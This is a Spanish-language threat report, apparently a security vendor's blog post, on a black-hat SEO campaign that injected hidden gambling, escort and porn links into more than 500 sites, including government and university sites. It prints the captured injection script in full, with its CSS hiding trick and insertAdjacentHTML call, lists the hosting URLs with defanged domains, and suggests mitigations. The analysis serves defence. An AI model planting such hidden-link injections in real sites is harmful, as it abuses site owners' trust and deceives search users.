Resumen: inyección SEO black hat de enlaces ocultos en dominios .gov y .edu
- No es robo de pagos: Todo el mundo enmarca los ataques del lado del cliente como robo de pagos. Este utilizó como arma la confianza de gobiernos y universidades para el posicionamiento en buscadores, lo cual es peor, porque nadie en seguridad prioriza un incidente que solo perjudica la posición en Google de un competidor turco de apuestas.
- 500+ sitios afectados: Más de 500 sitios web contenían la inyección de scriptapi[.]dev, que usaba insertAdjacentHTML para ocultar enlaces de spam de apuestas y contenido para adultos mediante CSS inline, y ningún threat feed de VirusTotal marcó el dominio. Nuestro directorio de dominios detectó scriptapi[.]dev el 20 de enero de 2025, antes que cualquier proveedor.
- Audita tu CMS ya: Si tu CMS combina WordPress, ASP.NET, vBulletin, CodeIgniter o 1C-Bitrix y no has auditado el JS de terceros en páginas de alta autoridad, hazlo esta semana. Los buscadores indexan lo que contiene el DOM, no lo que dice la plantilla de tu CMS.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
Ayer descubrimos otro ataque de JavaScript del lado del cliente dirigido a más de 500 sitios web, incluyendo gobiernos y universidades. Los scripts inyectados crean enlaces ocultos, apuntando a sitios web externos, dentro del Modelo de Objetos del Documento (DOM), la interfaz de programación para documentos web.
Hasta el momento, ningún threat feed ha detectado este ataque.
Creemos que se trata de una campaña de Optimización para Motores de Búsqueda (SEO) de sombrero negro. Los scripts inyectados crean enlaces ocultos que apuntan a sitios web externos. Estos enlaces están estilizados para ser invisibles a los usuarios mediante CSS:
style="overflow: auto; position: absolute; height: 0pt; width: 0pt;"


Los scripts maliciosos están alojados en scriptapi[.]dev. Encontramos múltiples variantes del mismo script, alojadas en el mismo dominio:
- scriptapi[.]dev/api/smacr[.]js
- scriptapi[.]dev/api/en[.]tlu[.]js
- scriptapi[.]dev/api/sie[.]tlu[.]js
- scriptapi[.]dev/api/ppymca[.]js
- scriptapi[.]dev/api/pbsgc[.]js
- scriptapi[.]dev/api/adventum[.]js
- scriptapi[.]dev/api/harvardpress[.]js
- scriptapi[.]dev/api/krachelart[.]js
- scriptapi[.]dev/api/malagaadventures[.]js
Nuestro directorio de dominios identificó el dominio malicioso el 20 de enero de 2025.

El mecanismo del script:
- Recuperar la etiqueta del script: Usando document.currentScript, el script malicioso identifica su ubicación en el DOM.
- Inyectar enlaces ocultos: Utiliza el método insertAdjacentHTML('beforebegin', linksHTML) para insertar los enlaces antes de la etiqueta del script en el DOM.
Una captura de pantalla tomada de un sitio web afectado, que muestra múltiples dominios ocultos visualmente:

const linksHTML = `
<div style="text-align: center; display: table-column">
<a href="https://fullfilmizle[.]net/" title="full film izle">full film izle</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://myremedyproducts[.]com" title="myremedyproducts[.]com">myremedyproducts[.]com</a>
<a href="https://albalondres[.]com" title="albalondres[.]com">albalondres[.]com</a>
<a href="https://kineticartstucson[.]com" title="kineticartstucson[.]com">kineticartstucson[.]com</a>
<a href="https://stolenbeauty[.]org" title="stolenbeauty[.]org">stolenbeauty[.]org</a>
<a href="https://www.bilgihocasi[.]com" title="www.bilgihocasi[.]com">www.bilgihocasi[.]com</a>
<a href="https://joinoilfield[.]com" title="joinoilfield[.]com">joinoilfield[.]com</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://betswot[.]com" title="starzbet">starzbet</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://alanyasmmm[.]com/" rel="dofollow">alanya escort</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://nevizadecafe[.]com/" title="deneme bonusu">deneme bonusu</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://alansh[.]com" title="tlcasino">tlcasino</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://pmtips[.]net/">crackstreams</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="http://lasip[.]net/" title="antalya escort bayan">antalya escort bayan</a>
<a href="http://www.niceescorts[.]com/" title="antalya escort">antalya escort</a>
<a href="https://www.shushescort[.]com/" title="istanbul escort bayan">istanbul escort bayan</a>
<a href="https://servissirinevler[.]com/" title="şirinevler escort bayan">şirinevler escort bayan</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.umraniyeti[p.]net/anadolu-yakasi/kadikoy-escort/">escort kadıköy</a>
<a href="http://www.doescorts[.]com/">www.doescorts[.]com</a>
<a href="http://www.umraniyeescorts[.]com/">ümraniye escort bayanlar</a>
<a href="http://www.maltepeescort[.]com/">escort maltepe</a>
<a href="https://pendikroyal[.]com/">pendik escort</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.xxxpornxxx[.]net/video/12776/nunziato-xxx-porn/" title="nunziato xxx porn">nunziato xxx porn</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.ipsnews[.]net/">streameast</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://yatirimbonusu[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://justgpu[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://sojienergy[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://romabet.online" target="_blank" title="romabet giriş">romabet giriş</a>
<a href="https://betgargirisyap[.]com" target="_blank" title="betgar giriş">betgar giriş</a>
<a href="https://romabetgiris3[.]com" target="_blank" title="romabet giriş">romabet giriş</a>
<a href="https://roketbetgirisyap[.]com" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://roketbet[.]net" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://roketbetgiris[.]com" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://ligobetbahis[.]com/" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="http://ligobet1[.]net" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="https://ligobetgiris[.]org/" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="https://ligobetgirisi[.]com/" target="_blank" title="ligobet giriş">ligobet giriş</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://denemebonususiteleri[.]net/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://princearthurherald[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
<a href="https://westpasco[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.airstreamofchicago[.]com/" title="casino siteleri">casino siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://chrisspielman[.]com/" title="deneme bonusu" target="_blank">deneme bonusu</a>
<a href="https://www.bestwesterndesignerinn[.]com/" title="deneme bonusu veren siteler" target="_blank">deneme bonusu veren siteler</a>
<a href="https://www.catch25li[.]com/" title="Canlı casino siteleri" target="_blank">Canlı casino siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="http://1xbetm[.]info/" title="1xbet giriş">1xbet giriş</a>
<a href="https://xslotx[.]com/trx/" title="xslot giriş">xslot giriş</a>
<a href="https://zbahisz[.]com/zb/" title="zbahis">zbahis</a>
<a href="https://betturkeygiris[.]org/tur/" title="betturkey giriş">betturkey giriş</a>
<a href="https://www.trbetr[.]com/" title="trbet">trbet</a>
<a href="https://www.wiibet[.]com/tr10/" title="betist">betist</a>
<a href="https://babilonbeto[.]com/" title="babilonbet">babilonbet</a>
<a href="https://betrollere[.]com/" title="betroller">betroller</a>
<a href="https://bahisbudurtr[.]com/" title="bahisbudur">bahisbudur</a>
<a href="https://www.bahiscom[.]info/tr/" title="bahis[.]com">bahis[.]com</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://siliconvalleywineries[.]com/" title="deneme bonusu veren siteler" target="_blank">deneme bonusu veren siteler</a>
<a href="https://tapoutdrinks[.]com/" title="casino siteleri" target="_blank">casino siteleri</a>
<a href="https://www.qujapan1635[.]com/" title="bahis siteleri" target="_blank">bahis siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://buy.fans/" title="buy.fans">buy.fans</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://mobilbahisgir[.]net/" title="mobilbahis">mobilbahis</a>
<a href="https://rokubetgir[.]com/" title="rokubet">rokubet</a>
</div>
`;
const scriptTag = document.currentScript;
scriptTag.insertAdjacentHTML('beforebegin', linksHTML);
El objetivo de este ataque
Estos enlaces invisibles son indexados por los motores de búsqueda. Estos motores de búsqueda detectan los enlaces en sitios web de buena reputación y les atribuyen valor SEO. Estos enlaces están ocultos, por lo que no interrumpen la experiencia del usuario ni son detectados fácilmente por los propietarios del sitio web.
Enfoques como este suelen llamarse técnicas de SEO de sombrero negro.
Encontramos más de 500 sitios web afectados por esta campaña, incluyendo importantes dominios gubernamentales y universitarios. Los sitios afectados utilizaban una amplia variedad de frameworks, lo que indica el amplio alcance del ataque:
- WordPress 6.7.1
- MS ASP.NET
- vBulletin
- PHP CodeIgniter
- 1C-Bitrix
La mayoría de estos sitios web son públicos aquí:
https://publicwww.com/websites/scriptapi.dev/ https://urlscan.io/search/#scriptapi.dev
Implicaciones más amplias
Este ataque pone de relieve el creciente riesgo de ataques a la cadena de suministro en el desarrollo web. Los scripts de terceros suelen ser un punto débil debido a su acceso directo al DOM. Esto les permite realizar prácticamente cualquier acción en el navegador del usuario, el punto final de la cadena de suministro web.
Mitigación y protección
Como primer paso, actualiza tus plugins de WordPress, evalúa su uso y elimina los que no utilices. Encuentra el malware y elimínalo. Los atacantes dejan una puerta trasera la mayoría de las veces. Encuéntrala y elimínala.
cside puede detectar, alertar y bloquear ataques del lado del cliente como este gracias a nuestro motor de detección avanzado y a nuestro motor de análisis.
Si no eres cliente de cside, estos son otros pasos que puedes tomar:
- Implementar una Política de Seguridad de Contenido (CSP): Restringe la inclusión de scripts de terceros a dominios de confianza.
- Usar Integridad de Subrecursos (SRI): Valida la integridad de los scripts alojados externamente comparando hashes.
- Monitorizar los cambios en el DOM: Usa herramientas o scripts para detectar modificaciones no autorizadas del DOM, especialmente la inyección de elementos ocultos.
- Auditar regularmente los scripts de terceros: Revisa periódicamente las dependencias y asegúrate de que no se hayan realizado cambios no autorizados.
- Usar Firewalls de Aplicaciones Web (WAF): Protege tu sitio web del tráfico sospechoso y de las inclusiones de scripts no autorizadas.
Empieza gratis hoy o contáctanos para mitigar riesgos









